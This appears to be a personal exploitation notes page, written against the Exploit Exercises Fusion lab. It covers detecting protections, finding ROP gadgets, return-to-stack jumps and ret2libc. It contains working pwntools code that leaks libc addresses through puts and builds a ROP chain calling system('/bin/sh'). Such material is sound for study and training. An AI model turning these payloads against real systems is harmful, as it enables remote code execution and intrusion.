Exploit Protection Bypassing

Detect Enabled Protections

You can use the checksec script from pwntools for ELF executables:

pwn checksec target

Return Oriented Programming

Finding ROP Gadgets

msfelfscan

Benefits:

  • Is more abstract, searches for things that get you the desired result instead of specific instructions

Drawbacks:

  • Has no option to only search executable memory regions afaik.

  • Doesn't work if you're on a 64-bit machine and trying to find ROP gadgets for a 32-bit binary

Installation

You need metasploit-framework:

sudo apt install metasploit-framework

Then you need to install the necessary ruby gem(s):

sudo gem install rex-bin_tools

And after that, you should be able to use msfelfscan:

locate msfelfscan
/usr/share/metasploit-framework/vendor/bundle/ruby/2.7.0/bin/msfelfscan

Usage

Useful flags:

  • -j to look for jumps to specific places/things

For example, the following command looks for jumps to esp:

msfelfscan -j esp /path/to/executable

Warning: It will also display gadgets that are in non-executable memory segments.

You can use readelf to see which memory segments are executable. Look for LOAD types with the E (execute) flag. For example:

readelf executable --segments
Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
LOAD           0x001000 0x08049000 0x08049000 0x6d444 0x6d444 R E 0x1000

In this case, a memory segment starting at 0x08049000 with a size of 0x6d444 is executable (ends at 0x80B6444).

Here's how you can filter out gadgets in a specific memory segment using awk:

msfelfscan target -j esp | awk '{
if (strtonum($1) >= 0x08049000 && strtonum($1) <= 0x080b6444)
        print $0
}'

ROPgadget

Benefits:

  • Knows to search only executable memory regions.

Drawbacks:

  • You need to use grep to filter out what you want. Therefore it only allows you to search by specific instructions, not by general goals.

You can use ROPgadget to print out all the ROP gadgets of a binary:

python3 ROPgadget.py --binary mybinary

Pwntools

You could try to find gadgets like this (for example a push esp;ret gadget):

rop_data = pwn.ROP(pwn.ELF('path/to/executable'))
gadgets = rop_data.find_gadget(['push esp', 'ret'])

But when I tried it, it didn't find the gadgets that msfelfscan and ROPgadget had found. So perhaps it's less reliable.

ROP Gadget Techniques

Write-What-Where

These are gadgets that allow you to arbitrarily write anything anywhere

mov [register1], register2

ASLR without PIE

If the program is NOT a position-independent executable, then ROP gadgets will always be at the same location. Meaning you can construct a ROP chain to do what you want.

In other words, if the code of the application is always in the same place. Then you can return to some place in the .text section which contains code you want to execute.

Return to stack

ASLR bypass where you return to the stack.

Prerequisites:

  • DEP/NX is not enabled (aka the stack is executable)

  • Stack canaries and other protections that interfere with what you're doing need to be turned off

  • You need to control data on the stack

    • This is true with stack overflows

  • You need a register to point to data on the stack that you control

    • This is true by default with stack overflows, because the stack pointer points to a place you control

    • But you might need to chain ROP gadgets to change the register to a suitable value

    • With the stack pointer, be wary of shellcode corruption issues. Shellcode corruption did not impact my exploit when I did this (though it did occur, just not in an important place)

The idea

Here's the idea (in this example, the register you use is the stack pointer):

  • You don't know what the address of your payload is on the stack, but the relative location of the stack pointer to your payload should always stay the same.

  • Therefore, you try to find a jmp esp (or similar, like push esp;ret) ROP gadget and jump to your payload on the stack.

Exploitation

I used this in Exploit Exercises Fusion Level01.

Just to test, I fuzzed the application with A's until I got a segfault. I stepped until the ret just before the segfault and looked at the stack:

[0x08049f15]> pxr 16 @ esp - 8
0xfff52ce4 0x41414141  AAAA ebx,ebp ascii ('A')
0xfff52ce8 0x41414141  AAAA ebx,ebp ascii ('A')
0xfff52cec 0x41414141  AAAA @ esp ebx,ebp ascii ('A')
0xfff52cf0 0x41414141  AAAA ebx,ebp ascii ('A')

This confirms that I control data on the stack around the stack pointer. So if I can find a jmp esp or push esp;ret gadget, then I can jump to a place in memory that I control. After that, I'll be able to execute any code I want.

To find a jmp esp, you can use msfelfscan:

fusion@fusion:~$ /opt/metasploit-framework/msfelfscan -j esp /opt/fusion/bin/level01

After finding the address of the JMP ESP gadget, all I had to do was overwrite the saved return pointer with the address of the gadget, and I was able to jump to code that I controlled.

Note: You will probably land just after the address of the ROP gadget on the stack.

Overflown stack layout:

  1. Filler space

  2. Saved return pointer

    1. Overwrite this with the address of the ROP gadget

  3. Gadget return location

    1. This is where the jmp esp ROP gadget will jump to

    2. Add whatever code you want to execute here

Here's how to get the shellcode for a relative jump 0x20 bytes forward using command-line pwntools:

pwn asm 'jmp $+0x20'

Ret2libc

ASLR + NX/DEP bypass. Also known as "return to libc", "return to text" (ret2text).

This is a return-oriented programming technique where you redirect code execution to a loaded standard library (usually libc). Usually this is done from a stack overflow.

Prerequisites:

  • Assuming ASLR is enabled, you need an information leak, so you know the addresses of libc functions.

    • Bruteforcing might also be viable, especially for 32-bit executables.

    • You might be able to create an information leak from the initial stack overflow.

  • Assuming you're using a stack overflow for this, stack canaries need to be disabled, as well as any other relevant mitigations.

Caveat: You don't need to have an information leak if you know the libc version, as demonstrated here.

I used this in Fusion level 2 and Fusion level 3. My solutions are available here.

For now, let's assume you're doing it from a stack overflow. Therefore, start by getting control of the stack pointer as normal.

Creating the Information Leak

Once you have control of the stack pointer, you'll need to leak a pointer to something in libc, like an address of a function. All the offsets in libc stay the same, even with ASLR, so if you can find one address in libc, you'll know them all.

Assumptions for creating the information leak:

  1. The application's output (from puts, printf, etc) is sent back to you over the network.

  2. A function that outputs user-controlled text (printf, puts, etc) is in PLT.GOT. This is true if that function is used anywhere in the application.

  3. PIE is not enabled

Note: If assumption #1 is not true, then you'll have to figure out some other way of leaking an address. For example, if the application displays some text to you (like a chat message or whatever), then you could see if to use that functionality to write out an address. In Fusion level 3, you were able to use SSRF to leak the info.

The idea here is to create a ROP chain that calls puts (or a similar function) with the address of a PLT.GOT entry of a libc function (such as puts) as the argument. As a result, the address of the function will be leaked to you over the network (due to assumption 1).

Let's assume that the application uses puts. Since PIE is disabled (assumption 3), you can get the static addresses of puts@plt and puts@plt.got from the binary.

root@fusion:/opt/fusion/bin# objdump -d level02 | grep puts --context 1
08048930 <puts@plt>:
 8048930:    ff 25 b8 b3 04 08        jmp    *0x804b3b8

puts@plt: 0x08048930
puts@plt.got:         0x0804b3b8

Here's how the overflow with the ROP chain might look like (taken from fusion2 solution):

def libc_assemble_payload():
    puts_plt_got = 0x08048930 # puts@plt
return_address = 0x080497f7 # Wherever you want to return to     
    puts_got = 0x0804b3b8 # address of puts@plt.got
    
    rop_chain = [
        puts_plt_got,
        return_address,
        puts_got
    ]
    rop_chain = b''.join([pwn.p32(r) for r in rop_chain])

    junk = b'A' * however_many_bytes_it_takes_to_get_to_the_stored_ip
    payload = junk
    payload += rop_chain
    
    return payload

As a result:

  • The value at puts@plt.got will be printed (along with a bunch of other junk probably).

  • Code execution will be redirected to return_address

In case the ASLR addresses don't change between executions (true for forked processes), you can have return_address be random junk. The process will crash, but the leaked address will be the same when a new process is forked, so you can move on to the exploitation part.

Otherwise, it makes sense to set return_address to the part of code where the vulnerability occurs (or just the main() function). Assuming you can give input again, you'll be able to exploit the vulnerability again, this time with the knowledge of the leaked address.

Or, if you want to continue your ROP chain, just set return_address to a ret instruction.

Calculating libc addresses

Now that you've leaked an address to a function, you'll be able to use that to calculate the address of any libc component in memory (since the offsets in memory are the same as they are in the libc shared object file).

But, which version of libc is even used? Depending on the version, the offsets will be different.

Luckily, people have created databases of libc versions and their offsets that you can search. Since ASLR only adds an offset to any addresses, you can determine the version of libc used just by knowing one or two leaked offsets (this means you might have to leak more than one address to be sure of which version of libc is used).

More precisely, you only need the last 3 digits of the leaked offsets. And I think the last 3 digits stay the same, so you don't have to leak everything all at once if you don't want to.

Here's a good database with an example search. You can also download the libc files here, which is useful. In fusion2, the correct version was 2.13.

With this knowledge, you can calculate the addresses to any libc components, like this:

def calculate_libc_addresses(libc_puts_address: int) -> (int, int, int):
    libc = pwn.ELF('./libc6_2.13-20ubuntu5_i386.so')

    libc.address = libc_puts_address - libc.symbols['puts'] # Set the new ASLR'd base address

    print('libc base address is: {}'.format(hex(libc.address)))

    libc_system_address = libc.symbols['system']
    print('libc system function address is: {}'.format(hex(libc_system_address)))
   
    libc_exit_address = libc.symbols['exit'] # Just used to exit cleanly after shell closed
    print('libc exit function address is: {}'.format(hex(libc_exit_address)))

    libc_binsh_address = next(libc.search(b'/bin/sh'))
    print('libc /bin/sh string address is: {}'.format(hex(libc_binsh_address)))

    return (libc_system_address, libc_exit_address, libc_binsh_address)

As you can see, the above code calculates the addresses for system(), exit() and the string /bin/sh. You'll use these for exploitation.

Exploitation

Now that you have the leaked address, you can use it to pop a shell.

For simplicity's sake. this part assumes that:

  • The application's output (from puts, printf, etc) is sent back to you over the network.

  • Your input is read into the application.

This makes it so that when you do system("/bin/sh"), then you can actually interact with that shell. But obviously, even if it's not that simple, you can execute arbitrary system commands. You'll just have to create a ROP chain to construct a suitable argument for the system call (like a reverse shell command).

Since you have all the addresses you need, all you need to do is to create a ROP chain that goes into system() and calls /bin/sh. To exit nicely, you can set the return address to be the address of the exit() function.

def assemble_payload(libc_system_address: int, libc_exit_address: int, bin_sh_address: int):
    return_address = libc_exit_address
    rop_chain = [
        libc_system_address,
        return_address,
        bin_sh_address
    ]
    rop_chain = b''.join([pwn.p32(r) for r in rop_chain])

    junk = b'A' * however_many_bytes_it_takes_to_get_to_the_stored_ip
    payload = junk
    payload += rop_chain
   
    return payload

Last updated